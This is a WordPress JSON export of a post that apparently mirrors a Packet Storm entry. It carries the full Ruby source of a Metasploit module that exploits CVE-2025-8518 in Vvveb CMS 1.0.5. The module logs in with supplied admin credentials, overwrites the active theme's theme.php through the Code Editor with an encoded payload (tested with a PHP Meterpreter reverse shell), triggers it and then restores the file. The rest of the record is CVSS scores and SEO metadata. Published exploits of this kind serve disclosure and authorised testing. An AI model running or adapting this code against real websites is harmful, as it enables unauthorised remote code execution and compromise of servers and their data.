{"id":22723,"date":"2025-10-22T12:43:06","date_gmt":"2025-10-22T12:43:06","guid":{"rendered":"http:\/\/localhost\/?p=22723"},"modified":"2025-10-22T12:43:06","modified_gmt":"2025-10-22T12:43:06","slug":"vvveb-cms-105-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=22723","title":{"rendered":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-22T16:48:43&#8243;,&#8221;description&#8221;:&#8221;Vvveb CMS is vulnerable to code injection via&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-8518&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Remote Code Execution Vulnerability in Vvveb&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              Vvveb CMS is vulnerable to code injection via the Code Editor functionality.\\n    \\n              Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,\\n              allowing remote authenticated attackers with access to the Code Editor to achieve code execution\\n              when those modified files are executed or served by the application or web server.\\n    \\n              This vulnerability affects Vvveb CMS versions up to and including 1.0.5.\\n              Successful exploitation may result in the remote code execution under the privileges\\n              of the web server, potentially exposing sensitive data or disrupting survey operations.\\n    \\n              An attacker can execute arbitrary system commands in the context of the user running the web server.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Maksim Rogov&#8217;, # Metasploit Module\\n              &#8216;Hamed Kohi&#8217; # Vulnerability Discovery\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-8518&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/hkohi.ca\/vulnerability\/8&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_PHP],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;PHP&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_PHP\\n                  # Tested with php\/meterpreter\/reverse_tcp\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-01-10&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to Vvveb CMS&#8217;, &#8216;\/admin\/&#8217;]),\\n            OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username used to authenticate to Vvveb CMS&#8217;, &#8216;admin&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password used to authenticate to Vvveb CMS&#8217;, &#8221;])\\n          ]\\n        )\\n      end\\n    \\n      def get_csrf_token\\n        print_status(&#8216;Fetching CSRF token&#8230;&#8217;)\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        fail_with(Failure::Unreachable, \\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unexpected HTTP code #{res.code}\\&#8221;) unless res.code == 200\\n    \\n        html = res.get_html_document\\n        csrf_input = html.at(&#8216;input[name=\\&#8221;csrf\\&#8221;]&#8217;)\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unable to extract CSRF token\\&#8221;) unless csrf_input\\n    \\n        token = csrf_input.attributes.fetch(&#8216;value&#8217;, nil)\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; CSRF token is empty\\&#8221;) if token.blank?\\n    \\n        print_good(\\&#8221;Token successfully fetched: #{token}\\&#8221;)\\n        token.to_s\\n      end\\n    \\n      def login(raise_on_fail: true)\\n        csrf_token = get_csrf_token\\n    \\n        print_status(&#8216;Attempting login&#8230;&#8217;)\\n    \\n        post_data = Rex::MIME::Message.new\\n        post_data.add_part(csrf_token, nil, nil, &#8216;form-data; name=\\&#8221;csrf\\&#8221;&#8216;)\\n        post_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=\\&#8221;redir\\&#8221;&#8216;)\\n        post_data.add_part(datastore[&#8216;USERNAME&#8217;], nil, nil, &#8216;form-data; name=\\&#8221;user\\&#8221;&#8216;)\\n        post_data.add_part(datastore[&#8216;PASSWORD&#8217;], nil, nil, &#8216;form-data; name=\\&#8221;password\\&#8221;&#8216;)\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;module&#8217; =\\u003e &#8216;user\/login&#8217; },\\n          &#8216;data&#8217; =\\u003e post_data.to_s\\n        )\\n    \\n        if raise_on_fail\\n          fail_with(Failure::Unreachable, \\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n          fail_with(Failure::NoAccess, \\&#8221;#{peer} &#8211; Incorrect credentials &#8211; #{datastore[&#8216;USERNAME&#8217;]}:#{datastore[&#8216;PASSWORD&#8217;]}\\&#8221;) if res.body.include?(&#8216;wrong email or password&#8217;)\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unexpected HTTP code #{res.code}\\&#8221;) unless res.code == 302\\n        else\\n          return CheckCode::Unknown(&#8216;It was not possible to determine the software version because a network error occurred during the authentication process&#8217;) unless res\\n          return CheckCode::Unknown(\\&#8221;It was not possible to determine the software version because the provided credenaials #{datastore[&#8216;USERNAME&#8217;]}:#{datastore[&#8216;PASSWORD&#8217;]} are invalid\\&#8221;) if res.body.include?(&#8216;wrong email or password&#8217;)\\n          return CheckCode::Unknown(&#8216;It was not possible to determine the software version because an unknown network error code was returned during the authentication process&#8217;) unless res.code == 302\\n        end\\n    \\n        @logged_in = true\\n        print_good(&#8216;Login successful&#8217;)\\n        return\\n      end\\n    \\n      def get_active_theme_path\\n        print_status(&#8216;Identifying the active theme path&#8230;&#8217;)\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;module&#8217; =\\u003e &#8216;theme\/themes&#8217; }\\n        )\\n        fail_with(Failure::Unreachable, \\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unexpected HTTP code #{res.code}\\&#8221;) unless res.code == 200\\n    \\n        active_theme = res.get_html_document.at(&#8216;div.list-card.active&#8217;)\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Card with the active theme was not found\\&#8221;) if active_theme.blank?\\n    \\n        theme_preview = active_theme.at(&#8216;.card-img-top img&#8217;).attributes.fetch(&#8216;src&#8217;, nil)\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Preview of the active theme card was not found\\&#8221;) if theme_preview.blank?\\n    \\n        theme_dir = File.dirname(theme_preview)\\n        theme_path = theme_dir + &#8216;\/theme.php&#8217;\\n    \\n        print_good(\\&#8221;Theme path successfully identified: #{theme_path}\\&#8221;)\\n        theme_path\\n      end\\n    \\n      def get_theme_content(theme_path)\\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e {\\n            &#8216;module&#8217; =\\u003e &#8216;editor\/code&#8217;,\\n            &#8216;action&#8217; =\\u003e &#8216;loadFile&#8217;,\\n            &#8216;type&#8217; =\\u003e &#8216;themes&#8217;,\\n            &#8216;file&#8217; =\\u003e theme_path\\n          }\\n        )\\n        fail_with(Failure::Unreachable, \\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unexpected HTTP code #{res.code}\\&#8221;) unless res.code == 200\\n    \\n        res.body\\n      end\\n    \\n      def set_theme_content(theme_path, content)\\n        post_data = Rex::MIME::Message.new\\n        post_data.add_part(content, nil, nil, &#8216;form-data; name=\\&#8221;content\\&#8221;&#8216;)\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n          &#8216;vars_get&#8217; =\\u003e {\\n            &#8216;module&#8217; =\\u003e &#8216;editor\/code&#8217;,\\n            &#8216;action&#8217; =\\u003e &#8216;save&#8217;,\\n            &#8216;type&#8217; =\\u003e &#8216;themes&#8217;,\\n            &#8216;file&#8217; =\\u003e theme_path\\n          },\\n          &#8216;data&#8217; =\\u003e post_data.to_s\\n        )\\n    \\n        fail_with(Failure::Unreachable, \\&#8221;#{peer} &#8211; No response from web service\\&#8221;) unless res\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Unexpected HTTP code #{res.code}\\&#8221;) if res.code != 200\\n      end\\n    \\n      def trigger_payload(_theme_path)\\n        print_status(&#8216;Triggering payload&#8230;&#8217;)\\n    \\n        send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e {\\n            &#8216;module&#8217; =\\u003e &#8216;editor\/editor&#8217;,\\n            &#8216;url&#8217; =\\u003e &#8216;\/&#8217;,\\n            &#8216;template&#8217; =\\u003e &#8216;index.html&#8217;\\n          }\\n        )\\n      end\\n    \\n      def set_payload(theme_path)\\n        print_status(&#8216;Setting up payload&#8230;&#8217;)\\n        set_theme_content(theme_path, payload.encoded)\\n        print_good(&#8216;Payload setup complete&#8217;)\\n      end\\n    \\n      def check\\n        error_message = login(raise_on_fail: false)\\n        return error_message if error_message\\n    \\n        print_status(&#8216;Checking version&#8230;&#8217;)\\n    \\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;module&#8217; =\\u003e &#8216;tools\/systeminfo&#8217; }\\n        )\\n        return CheckCode::Detected(&#8216;Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because a network error occurred during the request to the software version page&#8217;) unless res\\n        return CheckCode::Detected(\\&#8221;Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because the server returned an unknown status code #{res.code} during the request to the software version page\\&#8221;) unless res.code == 200\\n    \\n        version_td = res.get_html_document.at(&#8216;tr:has(th:contains(\\&#8221;Vvveb version\\&#8221;)) td&#8217;)\\n        return CheckCode::Detected(&#8216;Authentication process and the request to the software version page both completed successfully. It means that the server uses Vvveb CMS. However, The Vvveb version tag was not found on the software version page&#8217;) if version_td.nil?\\n    \\n        version = Rex::Version.new(version_td\\u0026.text\\u0026.strip)\\n        return CheckCode::Appears(\\&#8221;Detected version #{version}, which is vulnerable\\&#8221;) if version \\u003c= Rex::Version.new(&#8216;1.0.5&#8217;)\\n    \\n        CheckCode::Safe(\\&#8221;Detected version #{version}, which is not vulnerable\\&#8221;)\\n      end\\n    \\n      def cleanup\\n        begin\\n          set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? \\u0026\\u0026 @default_theme_content.nil?\\n        rescue StandardError\\n          # After receiving the shell, when calling the set_theme_content, the server times out, but there is no need to return an error.\\n        end\\n    \\n        super\\n      end\\n    \\n      def exploit\\n        login(raise_on_fail: true) unless @logged_in\\n        @theme_path = get_active_theme_path\\n        @default_theme_content = get_theme_content(@theme_path)\\n        set_payload(@theme_path)\\n        trigger_payload(@theme_path)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/210781&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:L\/I:L\/A:L\/E:P\/RL:O\/RC:C&#8221;,&#8221;baseScore&#8221;:4.7,&#8221;baseSeverity&#8221;:&#8221;MEDIUM&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;HIGH&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;LOW&#8221;,&#8221;integrityImpact&#8221;:&#8221;LOW&#8221;,&#8221;availabilityImpact&#8221;:&#8221;LOW&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/210781\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-22T16:48:43&#8243;,&#8221;description&#8221;:&#8221;Vvveb CMS is vulnerable to code injection via&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-8518&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-22723","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=22723\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-22T16:48:43&#8243;,&#8221;description&#8221;:&#8221;Vvveb CMS is vulnerable to code injection via&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-8518&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=22723\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-22T12:43:06+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781\",\"datePublished\":\"2025-10-22T12:43:06+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723\"},\"wordCount\":1755,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22723#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723\",\"name\":\"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-22T12:43:06+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22723\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22723#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=22723","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-22T16:48:43&#8243;,&#8221;description&#8221;:&#8221;Vvveb CMS is vulnerable to code injection via&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-8518&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n...","og_url":"https:\/\/zero.redgem.net\/?p=22723","og_site_name":"zero redgem","article_published_time":"2025-10-22T12:43:06+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=22723#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=22723"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781","datePublished":"2025-10-22T12:43:06+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=22723"},"wordCount":1755,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=22723#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=22723","url":"https:\/\/zero.redgem.net\/?p=22723","name":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-22T12:43:06+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=22723#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=22723"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=22723#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Vvveb CMS 1.0.5 Remote Code Execution_PACKETSTORM:210781"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 